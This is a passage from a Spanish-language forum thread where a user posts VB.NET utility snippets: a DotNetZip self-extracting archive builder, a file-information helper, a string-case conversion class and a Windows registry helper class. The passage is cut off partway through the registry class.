  202. #Region " DotNetZip Compress SFX "
  203.  
  204.    Public Shared Function Compress_SFX(ByVal Input_DirOrFile As String, _
  205.                                      Optional ByVal OutputFileName As String = Nothing, _
  206.                                      Optional ByVal CompressionMethod As CompressionMethod = CompressionMethod.None, _
  207.                                      Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Default, _
  208.                                      Optional ByVal Password As String = Nothing, _
  209.                                      Optional ByVal Encrypt_Password As EncryptionAlgorithm = EncryptionAlgorithm.None, _
  210.                                      Optional ByVal Extraction_Directory As String = ".\", _
  211.                                      Optional ByVal Silent_Extraction As Boolean = False, _
  212.                                      Optional ByVal Overwrite_Files As ExtractExistingFileAction = ExtractExistingFileAction.InvokeExtractProgressEvent, _
  213.                                      Optional ByVal Delete_Extracted_Files_After_Extraction As Boolean = False, _
  214.                                      Optional ByVal Icon As String = Nothing, _
  215.                                      Optional ByVal Window_Title As String = Nothing, _
  216.                                      Optional ByVal Window_Style As SelfExtractorFlavor = SelfExtractorFlavor.WinFormsApplication, _
  217.                                      Optional ByVal Command_Line_Argument As String = Nothing _
  218.                                    ) As Boolean
  219.  
  220.        DotNetZip_Current_Progress = 0
  221.        ZipFileCount = 0
  222.        ExtractedFileCount = 0
  223.        CurrentFileName = String.Empty
  224.  
  225.        Try
  226.            ' Create compressor
  227.            Dim Compressor As ZipFile = New ZipFile
  228.  
  229.            ' Set compression parameters
  230.            Compressor.CompressionLevel = CompressionLevel ' Archiving compression level.
  231.            ' Compression method
  232.            Compressor.Password = Password ' Zip Password
  233.            Compressor.TempFileFolder = System.IO.Path.GetTempPath() ' Temp folder for operations
  234.  
  235.            If Password Is Nothing AndAlso Not Encrypt_Password = EncryptionAlgorithm.None Then
  236.                Compressor.Encryption = EncryptionAlgorithm.None ' No encryption because no password.
  237.                Compressor.CompressionMethod = CompressionMethod ' Set any compression method.
  238.            Else
  239.                Compressor.Encryption = Encrypt_Password ' Set Encryption for Zip password.
  240.                Compressor.CompressionMethod = CompressionMethod.Deflate ' Set deflate method to don't destroy the SFX if AES encryption.
  241.            End If
  242.  
  243.            Dim SFX_Options As New SelfExtractorSaveOptions()
  244.            SFX_Options.DefaultExtractDirectory = Extraction_Directory
  245.            SFX_Options.Quiet = Silent_Extraction
  246.            SFX_Options.ExtractExistingFile = ExtractExistingFileAction.OverwriteSilently
  247.            SFX_Options.RemoveUnpackedFilesAfterExecute = Delete_Extracted_Files_After_Extraction
  248.            SFX_Options.Flavor = Window_Style
  249.            SFX_Options.PostExtractCommandLine = Command_Line_Argument
  250.            If Not Icon Is Nothing Then SFX_Options.IconFile = Icon
  251.            If Not Window_Title Is Nothing Then SFX_Options.SfxExeWindowTitle = Window_Title
  252.  
  253.            ' Add Progress Handler
  254.            AddHandler Compressor.SaveProgress, AddressOf DotNetZip_Compress_SFX_Progress
  255.  
  256.            ' Removes the end slash ("\") if is given for a directory.
  257.            If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1)
  258.  
  259.            ' Generate the OutputFileName if any is given.
  260.            If OutputFileName Is Nothing Then _
  261.                OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & ".exe").Replace("\\", "\")
  262.  
  263.            ' Check if given argument is Dir or File ...then start the compression
  264.            If IO.Directory.Exists(Input_DirOrFile) Then ' It's a Dir
  265.                Compressor.AddDirectory(Input_DirOrFile)
  266.            ElseIf IO.File.Exists(Input_DirOrFile) Then ' It's a File
  267.                Compressor.AddFile(Input_DirOrFile)
  268.            End If
  269.  
  270.            Compressor.SaveSelfExtractor(OutputFileName, SFX_Options)
  271.            Compressor.Dispose()
  272.  
  273.        Catch ex As Exception
  274.            'Return False ' File not compressed
  275.            Throw New Exception(ex.Message)
  276.        End Try
  277.  
  278.        Return True ' File compressed
  279.  
  280.    End Function
  281.  
  282.    Private Shared Sub DotNetZip_Compress_SFX_Progress(ByVal sender As Object, ByVal e As SaveProgressEventArgs)
  283.        Application.DoEvents()
  284.  
  285.        If e.EventType = ZipProgressEventType.Saving_Started Then
  286.        ElseIf e.EventType = ZipProgressEventType.Saving_BeforeWriteEntry Then
  287.            CurrentFileName = e.CurrentEntry.FileName ' Input filename to be compressed
  288.            DotNetZip_Current_Progress = ((100 / e.EntriesTotal) * e.EntriesSaved + 1)
  289.        ElseIf e.EventType = ZipProgressEventType.Saving_Completed Then
  290.            DotNetZip_Current_Progress = 100
  291.        End If
  292.  
  293.    End Sub
  294.  
  295. #End Region
  296.  
  297. End Class
  298.  
  299. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Mayo 2013, 19:42 pm
Mi versión modificada del "FileInfo"

Código
  1. #Region " Get File Info "
  2.  
  3.    ' [ Get File Info Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples:
  8.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Name))
  9.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Extension))
  10.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.FileName))
  11.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Directory))
  12.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.DriveLetter))
  13.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.FullName))
  14.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.ShortName))
  15.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.ShortPath))
  16.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Name_Length))
  17.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Extension_Length))
  18.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.FileName_Length))
  19.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Directory_Length))
  20.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.FullName_Length))
  21.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.FileSize))
  22.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.FileVersion))
  23.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Attributes_Enum))
  24.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Attributes_String))
  25.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.CreationTime))
  26.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.LastAccessTime))
  27.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.LastModifyTime))
  28.    ' MsgBox(Get_File_Info("C:\Test.txt", FileInfo.Has_Extension))
  29.  
  30.    Public Enum FileInfo
  31.  
  32.        Name                  ' Filename without extension
  33.        Extension_With_Dot    ' File-Extension (with dot included)
  34.        Extension_Without_Dot ' File-Extension (without dot)
  35.        FileName              ' Filename.extension
  36.        Directory             ' Directory name
  37.        DriveLetter           ' Drive letter (only 1 letter)
  38.        FullName              ' Directory path + Filename
  39.  
  40.        ShortName ' DOS8.3 Filename
  41.        ShortPath ' DOS8.3 Path Name
  42.  
  43.        Name_Length                  ' Length of Filename without extension
  44.        Extension_With_Dot_Length    ' Length of File-Extension (with dot included)
  45.        Extension_Without_Dot_Length ' Length of File-Extension (without dot)
  46.        FileName_Length              ' Length of Filename.extension
  47.        Directory_Length             ' Length of Directory name
  48.        FullName_Length              ' Length of Directory path + Filename
  49.  
  50.        FileSize    ' Size in Bytes
  51.  
  52.        FileVersion ' Version for DLL or EXE files
  53.  
  54.        Attributes_Enum   ' Attributes in Integer format
  55.        Attributes_String ' Attributes in String format
  56.  
  57.        CreationTime   ' Date Creation time
  58.        LastAccessTime ' Date Last Access time
  59.        LastModifyTime ' Date Last Modify time
  60.  
  61.        Has_Extension  ' Checks if file have a file-extension.
  62.  
  63.    End Enum
  64.  
  65.    Private Function Get_File_Info(ByVal File As String, ByVal Information As FileInfo)
  66.  
  67.        Dim File_Info = My.Computer.FileSystem.GetFileInfo(File)
  68.  
  69.        Select Case Information
  70.  
  71.            Case FileInfo.Name : Return File_Info.Name.Substring(0, File_Info.Name.LastIndexOf("."))
  72.            Case FileInfo.Extension_With_Dot : Return File_Info.Extension
  73.            Case FileInfo.Extension_Without_Dot : Return File_Info.Extension.Split(".").Last
  74.            Case FileInfo.FileName : Return File_Info.Name
  75.            Case FileInfo.Directory : Return File_Info.DirectoryName
  76.            Case FileInfo.DriveLetter : Return File_Info.Directory.Root.ToString.Substring(0, 1)
  77.            Case FileInfo.FullName : Return File_Info.FullName
  78.  
  79.            Case FileInfo.ShortName : Return CreateObject("Scripting.FileSystemObject").GetFile(File).ShortName
  80.            Case FileInfo.ShortPath : Return CreateObject("Scripting.FileSystemObject").GetFile(File).ShortPath
  81.  
  82.            Case FileInfo.Name_Length : Return File_Info.Name.Length
  83.            Case FileInfo.Extension_With_Dot_Length : Return File_Info.Extension.Length
  84.            Case FileInfo.Extension_Without_Dot_Length : Return File_Info.Extension.Split(".").Last.Length
  85.            Case FileInfo.FileName_Length : Return File_Info.Name.Length
  86.            Case FileInfo.Directory_Length : Return File_Info.DirectoryName.Length
  87.            Case FileInfo.FullName_Length : Return File_Info.FullName.Length
  88.  
  89.            Case FileInfo.FileSize : Return File_Info.Length
  90.  
  91.            Case FileInfo.FileVersion : Return CreateObject("Scripting.FileSystemObject").GetFileVersion(File)
  92.  
  93.            Case FileInfo.Attributes_Enum : Return File_Info.Attributes
  94.            Case FileInfo.Attributes_String : Return File_Info.Attributes.ToString
  95.  
  96.            Case FileInfo.CreationTime : Return File_Info.CreationTime
  97.            Case FileInfo.LastAccessTime : Return File_Info.LastAccessTime
  98.            Case FileInfo.LastModifyTime : Return File_Info.LastWriteTime
  99.  
  100.            Case FileInfo.Has_Extension : Return IO.Path.HasExtension(File)
  101.  
  102.            Case Else : Return Nothing
  103.  
  104.        End Select
  105.  
  106.    End Function
  107.  
  108. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Mayo 2013, 21:08 pm
Una class para trabajar con StringCases por ejemplo para renombrar archivos de forma masiva a TitleCase,
contiene las funciones que posteé hace un tiempo, y le he añadido el "InvertedCase".

Código
  1. #Region " StringCase Class "
  2.  
  3. Public Class StringCase
  4.  
  5.    ' [ StringCase Functions ]
  6.    '
  7.    ' // By Elektro H@cker
  8.    '
  9.    ' Examples :
  10.    ' MsgBox(StringCase.Titlecase("THiS is a TeST"))
  11.    ' MsgBox(StringCase.DelimitedCase_Lower("THiS is a TeST", ";"))
  12.    ' MsgBox(StringCase.InvertedCase("HeLLo"))
  13.    ' Var = StringCase.WordCase(Var)
  14.  
  15.    ''' <summary>
  16.    ''' Convert to LowerCase [Ex: ab cd ef]
  17.    ''' </summary>
  18.    Public Shared Function LowerCase(ByVal Text As String) As String
  19.        Return Text.ToLower
  20.    End Function
  21.  
  22.    ''' <summary>
  23.    ''' Convert to UpperCase [Ex: AB CD EF]
  24.    ''' </summary>
  25.    Public Shared Function UpperCase(ByVal Text As String) As String
  26.        Return Text.ToUpper
  27.    End Function
  28.  
  29.    ''' <summary>
  30.    ''' Convert to Titlecase [Ex: Ab cd ef]
  31.    ''' </summary>
  32.    Public Shared Function Titlecase(ByVal Text As String) As String
  33.        Return Char.ToUpper(Text(0)) + StrConv(Text.Substring(1), VbStrConv.Lowercase)
  34.    End Function
  35.  
  36.    ''' <summary>
  37.    ''' Convert to WordCase [Ex: Ab Cd Ef]
  38.    ''' </summary>
  39.    Public Shared Function WordCase(ByVal Text As String) As String
  40.        Return System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(Text)
  41.    End Function
  42.  
  43.    ''' <summary>
  44.    ''' Convert to CamelCase (And first letter to Lower) [Ex: abCdEf]
  45.    ''' </summary>
  46.    Public Shared Function CamelCase_First_Lower(ByVal Text As String) As String
  47.        Return Char.ToLower(Text(0)) & System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(Text).Replace(" ", "").Substring(1)
  48.    End Function
  49.  
  50.    ''' <summary>
  51.    ''' Convert to CamelCase (And first letter to Upper) [Ex: AbCdEf]
  52.    ''' </summary>
  53.    Public Shared Function CamelCase_First_Upper(ByVal Text As String) As String
  54.        Return Char.ToUpper(Text(0)) & System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(Text).Replace(" ", "").Substring(1)
  55.    End Function
  56.  
  57.    ''' <summary>
  58.    ''' Convert to MixedCase (And first letter to Lower) [Ex: aB Cd eF]
  59.    ''' </summary>
  60.    Public Shared Function MixedCase_First_Lower(ByVal Text As String) As String
  61.        Dim MixedString As String = Nothing
  62.        For X As Integer = 0 To Text.Length - 1
  63.            Application.DoEvents()
  64.            Dim c As Char = Text(X)
  65.            If (X / 2).ToString.Contains(",") Then _
  66.                 MixedString += c.ToString.ToUpper _
  67.            Else MixedString += c.ToString.ToLower
  68.        Next
  69.        Return MixedString
  70.    End Function
  71.  
  72.    ''' <summary>
  73.    ''' Convert to MixedCase (And first letter to Upper) [Ex: Ab cD Ef]
  74.    ''' </summary>
  75.    Public Shared Function MixedCase_First_Upper(ByVal Text As String) As String
  76.        Dim MixedString As String = Nothing
  77.        For X As Integer = 0 To Text.Length - 1
  78.            Application.DoEvents()
  79.            Dim c As Char = Text(X)
  80.            If (X / 2).ToString.Contains(",") Then _
  81.                 MixedString += c.ToString.ToLower _
  82.            Else MixedString += c.ToString.ToUpper
  83.        Next
  84.        Return MixedString
  85.    End Function
  86.  
  87.    ''' <summary>
  88.    ''' Convert to MixedCase (And first letter of each word to Lower) [Ex: aB cD eF]
  89.    ''' </summary>
  90.    Public Shared Function MixedCase_Word_Lower(ByVal Text As String) As String
  91.        Dim MixedString As String = Nothing
  92.        Dim Count As Integer = 1
  93.        For X As Integer = 0 To Text.Length - 1
  94.            Application.DoEvents()
  95.            Dim c As Char = Text(X)
  96.            If Not c = " " Then Count += 1 Else Count = 1
  97.            If (Count / 2).ToString.Contains(",") Then _
  98.                 MixedString += c.ToString.ToUpper _
  99.            Else MixedString += c.ToString.ToLower
  100.        Next
  101.        Return MixedString
  102.    End Function
  103.  
  104.    ''' <summary>
  105.    ''' Convert to MixedCase (And first letter of each word to Upper) [Ex: Ab Cd Ef]
  106.    ''' </summary>
  107.    Public Shared Function MixedCase_Word_Upper(ByVal Text As String) As String
  108.        Dim MixedString As String = Nothing
  109.        Dim Count As Integer = 1
  110.        For X As Integer = 0 To Text.Length - 1
  111.            Application.DoEvents()
  112.            Dim c As Char = Text(X)
  113.            If Not c = " " Then Count += 1 Else Count = 1
  114.            If (Count / 2).ToString.Contains(",") Then _
  115.                 MixedString += c.ToString.ToLower _
  116.            Else MixedString += c.ToString.ToUpper
  117.        Next
  118.        Return MixedString
  119.    End Function
  120.  
  121.    ''' <summary>
  122.    ''' Convert to DelimitedCase (And All letters to Lower) [Ex: ab-cd-ef]
  123.    ''' </summary>
  124.    Public Shared Function DelimitedCase_Lower(ByVal Text As String, Optional ByVal Delimiter As String = "-") As String
  125.        Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
  126.        Return rgx.Replace(Text.ToLower, Delimiter)
  127.    End Function
  128.  
  129.    ''' <summary>
  130.    ''' Convert to DelimitedCase (And All letters to Upper) [Ex: AB-CD-EF]
  131.    ''' </summary>
  132.    Public Shared Function DelimitedCase_Upper(ByVal Text As String, Optional ByVal Delimiter As String = "-") As String
  133.        Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
  134.        Return rgx.Replace(Text.ToUpper, Delimiter)
  135.    End Function
  136.  
  137.    ''' <summary>
  138.    ''' Convert to DelimitedCase (And first letter to Upper) [Ex: Ab-cd-ef]
  139.    ''' </summary>
  140.    Public Shared Function DelimitedCase_Title(ByVal Text As String, Optional ByVal Delimiter As String = "-") As String
  141.        Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
  142.        Return rgx.Replace(Char.ToUpper(Text(0)) + StrConv(Text.Substring(1), VbStrConv.Lowercase), Delimiter)
  143.    End Function
  144.  
  145.    ''' <summary>
  146.    ''' Convert to DelimitedCase (And first letter of each word to Lower) [Ex: aB-cD-eF]
  147.    ''' </summary>
  148.    Public Shared Function DelimitedCase_Mixed_Word_Lower(ByVal Text As String, Optional ByVal Delimiter As String = "-") As String
  149.        Dim MixedString As String = Nothing
  150.        Dim Count As Integer = 1
  151.        For X As Integer = 0 To Text.Length - 1
  152.            Application.DoEvents()
  153.            Dim c As Char = Text(X)
  154.            If Not c = " " Then Count += 1 Else Count = 1
  155.            If (Count / 2).ToString.Contains(",") Then _
  156.                 MixedString += c.ToString.ToUpper _
  157.            Else MixedString += c.ToString.ToLower
  158.        Next
  159.        Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
  160.        Return rgx.Replace(MixedString, Delimiter)
  161.    End Function
  162.  
  163.    ''' <summary>
  164.    ''' Convert to DelimitedCase (And first letter of each word to Upper) [Ex: Ab-Cd-Ef]
  165.    ''' </summary>
  166.    Public Shared Function DelimitedCase_Mixed_Word_Upper(ByVal Text As String, Optional ByVal Delimiter As String = "-") As String
  167.        Dim rgx As New System.Text.RegularExpressions.Regex("\s+")
  168.        Return rgx.Replace(System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(Text), Delimiter)
  169.    End Function
  170.  
  171.    ''' <summary>
  172.    ''' Covert string to InvertedCase [Ex: HeLLo -> hEllO ]
  173.    ''' </summary>
  174.    Public Shared Function InvertedCase(ByVal Text As String) As String
  175.        Dim InvertedString As String = String.Empty
  176.  
  177.        For Each character In Text
  178.            Application.DoEvents()
  179.            If Char.IsUpper(character) Then
  180.                InvertedString += character.ToString.ToLower
  181.            Else : InvertedString += character.ToString.ToUpper
  182.            End If
  183.        Next
  184.  
  185.        Return InvertedString
  186.    End Function
  187.  
  188. End Class
  189.  
  190. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 8 Mayo 2013, 11:14 am
Una class con funciones para realizar todo tipo de operaciones en el Registro de Windows:

- Crear clave
- Eliminar clave
- Crear valor
- Eliminar valor
- Obtener los datos de un valor
- Exportar clave
- Importar archivo
- Saltar a clave (abrir Regedit en clave específica)
- Comprobar si un valor existe
- Comprobar si los datos de un valor están vacíos
- Copiar clave a otro lugar del registro
- Copiar valor a otro lugar del registro
- Establecer permisos de usuario para una clave

Código
  1. #Region " RegEdit "
  2.  
  3. ' [ RegEdit Functions ]
  4. '
  5. ' // By Elektro H@cker
  6. '
  7. ' Examples :
  8. '
  9. ' -----------
  10. ' Create Key:
  11. ' -----------
  12. ' RegEdit.Create_Key("HKCU\Software\MyProgram")                        ' Creates "HKCU\Software\MyProgram"
  13. ' RegEdit.Create_Key("HKEY_CURRENT_USER\Software\MyProgram\Settings\") ' Creates "HKCU\Software\MyProgram\Settings"
  14. '
  15. ' -----------
  16. ' Delete Key:
  17. ' -----------
  18. ' RegEdit.Delete_Key("HKLM\Software\7-zip")                ' Deletes the "7-zip" tree including subkeys
  19. ' RegEdit.Delete_Key("HKEY_LOCAL_MACHINE\Software\7-zip\") ' Deletes the "7-zip" tree including subkeys
  20. '
  21. ' -------------
  22. ' Delete Value:
  23. ' -------------
  24. ' RegEdit.Delete_Value("HKCU\Software\7-Zip", "Lang")               ' Deletes "Lang" Value
  25. ' RegEdit.Delete_Value("HKEY_CURRENT_USER\Software\7-Zip\", "Lang") ' Deletes "Lang" Value
  26. '
  27. ' ----------
  28. ' Get Value:
  29. ' ----------
  30. ' Dim Data As String = RegEdit.Get_Value("HKCU\Software\MyProgram", "Value name"))
  31. ' Dim Data As String = RegEdit.Get_Value("HKEY_CURRENT_USER\Software\MyProgram", "Value name"))
  32. '
  33. ' ----------
  34. ' Set Value:
  35. ' ----------
  36. ' RegEdit.Set_Value("HKCU\Software\MyProgram", "Value name", "Data", Microsoft.Win32.RegistryValueKind.String)               ' Create/Replace "Value Name" with "Data" as string data
  37. ' RegEdit.Set_Value("HKEY_CURRENT_USER\Software\MyProgram\", "Value name", "Data", Microsoft.Win32.RegistryValueKind.String) ' Create/Replace "Value Name" with "Data" as string data
  38. '
  39. ' -----------
  40. ' Export Key:
  41. ' -----------
  42. ' RegEdit.Export_Key("HKLM", "C:\HKLM.reg")                  ' Export entire "HKEY_LOCAL_MACHINE" Tree to "C:\HKLM.reg" file.
  43. ' RegEdit.Export_Key("HKLM\Software\7-zip\", "C:\7-zip.reg") ' Export entire "7-zip" Tree to "C:\7-zip.reg" file.
  44. '
  45. ' ------------
  46. ' Import File:
  47. ' ------------
  48. ' RegEdit.Import_RegFile("C:\Registry_File.reg") ' Install a registry file.
  49. '
  50. ' ------------
  51. ' Jump To Key:
  52. ' ------------
  53. ' RegEdit.Jump_To_Key("HKLM")                               ' Opens Regedit at "HKEY_LOCAL_MACHINE" Root.
  54. ' RegEdit.Jump_To_Key("HKEY_LOCAL_MACHINE\Software\7-zip\") ' Opens Regedit at "HKEY_LOCAL_MACHINE\Software\7-zip" tree.
  55. '
  56. ' -------------
  57. ' Exist Value?:
  58. ' -------------
  59. ' MsgBox(RegEdit.Exist_Value("HKLM\software\7-zip", "Path") ' Checks if "Path" value exist.
  60. '
  61. ' ------------
  62. ' Exist Data?:
  63. ' ------------
  64. ' MsgBox(RegEdit.Exist_Data("HKLM\software\7-zip", "Path") ' Checks if "Path" value have empty data.
  65. '
  66. ' ---------
  67. ' Copy Key:
  68. ' ---------
  69. ' RegEdit.Copy_Key("HKCU", "Software", "7-Zip", "HKLM", "Software", "7-zip")          ' Copies "HKCU\Software\7-Zip" to "HKLM\Software\7-Zip"
  70. ' RegEdit.Copy_Key("HKCU", "Software", "7-Zip", Nothing, "Software", "7-zip")         ' Copies "HKCU\Software\7-Zip" to "HKCU\Software\7-Zip"
  71. ' RegEdit.Copy_Key("HKCU", "Software", "7-Zip", "HKLM", "Software", Nothing)          ' Copies "HKCU\Software\7-Zip" to "HKLM\Software\"
  72. ' RegEdit.Copy_Key("HKCU", "Software", "7-Zip", "HKLM", Nothing, Nothing)             ' Copies "HKCU\Software\7-Zip" to "HKLM\"
  73. ' RegEdit.Copy_Key("HKCU", "\Software\", "\7-Zip\", "HKLM", "\Software\", "\7-zip\")  ' Copies "HKCU\Software\7-Zip" to "HKLM\Software\7-Zip"
  74. '
  75. ' -----------
  76. ' Copy Value:
  77. ' -----------
  78. ' RegEdit.Copy_Value("HKLM\software\7-zip", "path", "HKLM\software\7-zip", "path_backup") ' Copies "Path" value with their data to "HKLM\software\7-zip" "path_backup".
  79. '
  80. ' -----------
  81. ' Set_UserAccess_Key:
  82. ' -----------
  83. ' RegEdit.Set_UserAccess_Key("HKCU\Software\7-Zip", {RegEdit.RegUserAccess.Administrators_Full_Access})
  84. ' RegEdit.Set_UserAccess_Key("HKEY_CURRENT_USER\Software\7-Zip", {RegEdit.RegUserAccess.Administrators_Full_Access, RegEdit.RegUserAccess.Creator_Full_Access, RegEdit.RegUserAccess.System_Full_Access})
  85.  
  86. #Region " RegEdit Class "
  87.  
  88. Public Class RegEdit
  89.  
  90.    ''' <summary>
  91.    ''' Create a new registry key.
  92.    ''' </summary>
  93.    Public Shared Function Create_Key(ByVal RegKey As String) As Boolean
  94.  
  95.        Dim RootKey As Microsoft.Win32.RegistryKey = Get_Root_Key(RegKey)
  96.        Dim KeyPath As String = Get_Key_Path(RegKey)
  97.  
  98.        Try
  99.            RootKey.CreateSubKey(KeyPath)
  100.            RootKey.Close()
  101.            RootKey.Dispose()
  102.            Return True
  103.        Catch ex As Exception
  104.            ' MsgBox(ex.Message)
  105.            ' Throw New Exception(ex.Message)
  106.            Return False
  107.        End Try
  108.  
  109.    End Function
  110.  
  111.    ''' <summary>
  112.    ''' Delete a registry key.
  113.    ''' </summary>
  114.    Public Shared Function Delete_Key(ByVal RegKey As String) As Boolean
  115.  
  116.        Dim RootKey As Microsoft.Win32.RegistryKey = Get_Root_Key(RegKey)
  117.        Dim KeyPath As String = Get_Key_Path(RegKey)
  118.  
  119.        Try
  120.            RootKey.DeleteSubKeyTree(KeyPath)
  121.            RootKey.Close()
  122.            RootKey.Dispose()
  123.            Return True
  124.        Catch ex As Exception
  125.            ' MsgBox(ex.Message)
  126.            ' Throw New Exception(ex.Message)
  127.            Return False
  128.        End Try
  129.  
  130.    End Function
  131.  
  132.    ''' <summary>
  133.    ''' Delete a registry key.
  134.    ''' </summary>
  135.    Public Shared Function Delete_Value(ByVal RegKey As String, ByVal RegValue As String) As Boolean
  136.  
  137.        Dim RootKey As Microsoft.Win32.RegistryKey = Get_Root_Key(RegKey)
  138.        Dim KeyPath As String = Get_Key_Path(RegKey)
  139.  
  140.        Try
  141.            RootKey.OpenSubKey(KeyPath, True).DeleteValue(RegValue)
  142.            RootKey.Close()
  143.            RootKey.Dispose()
  144.            Return True
  145.        Catch ex As Exception
  146.            ' MsgBox(ex.Message)
  147.            ' Throw New Exception(ex.Message)
  148.            Return False
  149.        End Try
  150.  
  151.    End Function
  152.  
  153.    ''' <summary>
  154.    ''' Get the data of a registry value.
  155.    ''' </summary>
  156.    Public Shared Function Get_Value(ByVal RegKey As String, ByVal RegValue As String) As String
  157.  
  158.        Dim RootKey As String = Get_Root_Key(RegKey).ToString
  159.        Dim KeyPath As String = RootKey & "\" & Get_Key_Path(RegKey)
  160.  
  161.        Try
  162.            Return My.Computer.Registry.GetValue(KeyPath, RegValue, Nothing)
  163.        Catch ex As Exception
  164.            ' MsgBox(ex.Message)
  165.            ' Throw New Exception(ex.Message)
  166.            Return False
  167.        End Try
  168.    End Function
  169.  
  170.    ''' <summary>
  171.    ''' Set the data of a registry value.
  172.    ''' If the Key or value don't exist it will be created automatically.
  173.    ''' </summary>
  174.    Public Shared Function Set_Value(ByVal RegKey As String, _
  175.                                     ByVal RegValue As String, _
  176.                                     ByVal RegData As String, _
  177.                                     ByVal RegDataType As Microsoft.Win32.RegistryValueKind) As Boolean
  178.  
  179.        Dim RootKey As String = Get_Root_Key(RegKey).ToString
  180.        Dim KeyPath As String = RootKey & "\" & Get_Key_Path(RegKey)
  181.  
  182.        Try
  183.            If RegDataType = Microsoft.Win32.RegistryValueKind.Binary Then
  184.                My.Computer.Registry.SetValue(KeyPath, RegValue, System.Text.Encoding.ASCII.GetBytes(RegData), Microsoft.Win32.RegistryValueKind.Binary)
  185.            Else
  186.                My.Computer.Registry.SetValue(KeyPath, RegValue, RegData, RegDataType)
  187.            End If
  188.            Return True
  189.        Catch ex As Exception
  190.            ' MsgBox(ex.Message)
  191.            ' Throw New Exception(ex.Message)
  192.            Return False
  193.        End Try
  194.  
  195.    End Function
  196.  
  197.    ''' <summary>
  198.    ''' Export a registry key (including sub-keys) to a file.
  199.    ''' </summary>
  200.    Public Shared Function Export_Key(ByVal RegKey As String, ByVal OutputFile As String) As Boolean
  201.        Dim RootKey As String = Get_Root_Key(RegKey).ToString
  202.        Dim KeyPath As String = RootKey & "\" & Get_Key_Path(RegKey)
  203.        If KeyPath.EndsWith("\") Then KeyPath = KeyPath.Substring(0, KeyPath.Length - 1)
  204.  
  205.        Try
  206.            Dim Regedit As New Process()
  207.            Dim Regedit_Info As New ProcessStartInfo()
  208.  
  209.            Regedit_Info.FileName = "Reg.exe"
  210.            Regedit_Info.Arguments = "Export " & """" & KeyPath & """" & " " & """" & OutputFile & """" & " /y"
  211.            Regedit_Info.CreateNoWindow = True
  212.            Regedit_Info.WindowStyle = ProcessWindowStyle.Hidden
  213.            Regedit_Info.UseShellExecute = False
  214.            Regedit.StartInfo = Regedit_Info
  215.            Regedit.Start()
  216.            Regedit.WaitForExit()
  217.  
  218.            If Regedit.ExitCode <> 0 Then
  219.                Return False
  220.            Else
  221.                Return True
  222.            End If
  223.  
  224.        Catch ex As Exception
  225.            ' MsgBox(ex.Message)
  226.            ' Throw New Exception(ex.Message)
  227.            Return False
  228.        End Try
  229.  
  230.    End Function
  231.  
  232.    ''' <summary>
  233.    ''' Import a registry file.
  234.    ''' </summary>
  235.    Public Shared Function Import_RegFile(ByVal RegFile As String) As Boolean
  236.  
  237.        If IO.File.Exists(RegFile) Then
  238.  
  239.            Try
  240.                Dim Regedit As New Process()
  241.                Dim Regedit_Info As New ProcessStartInfo()
  242.  
  243.                Regedit_Info.FileName = "Reg.exe"
  244.                Regedit_Info.Arguments = "Import " & """" & RegFile & """"
  245.                Regedit_Info.CreateNoWindow = True
  246.                Regedit_Info.WindowStyle = ProcessWindowStyle.Hidden
  247.                Regedit_Info.UseShellExecute = False
  248.                Regedit.StartInfo = Regedit_Info
  249.                Regedit.Start()
  250.                Regedit.WaitForExit()
  251.  
  252.                If Regedit.ExitCode <> 0 Then
  253.                    Return False
  254.                Else
  255.                    Return True
  256.                End If
  257.  
  258.            Catch ex As Exception
  259.                ' MsgBox(ex.Message)
  260.                ' Throw New Exception(ex.Message)
  261.                Return False
  262.            End Try
  263.  
  264.        Else
  265.            ' MsgBox("File don't exist")
  266.            Return False
  267.  
  268.        End If
  269.  
  270.    End Function
  271.  
  272.    ''' <summary>
  273.    ''' Open Regedit at specific key.
  274.    ''' </summary>
  275.    Public Shared Function Jump_To_Key(ByVal RegKey As String) As Boolean
  276.  
  277.        Dim RootKey As String = Get_Root_Key(RegKey).ToString
  278.        Dim KeyPath As String = RootKey & "\" & Get_Key_Path(RegKey)
  279.        If KeyPath.EndsWith("\") Then KeyPath = KeyPath.Substring(0, KeyPath.Length - 1)
  280.  
  281.        Try
  282.            Set_Value("HKCU\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit", "LastKey", "" & KeyPath & "", Microsoft.Win32.RegistryValueKind.String)
  283.            Process.Start("Regedit.exe")
  284.            Return True
  285.        Catch ex As Exception
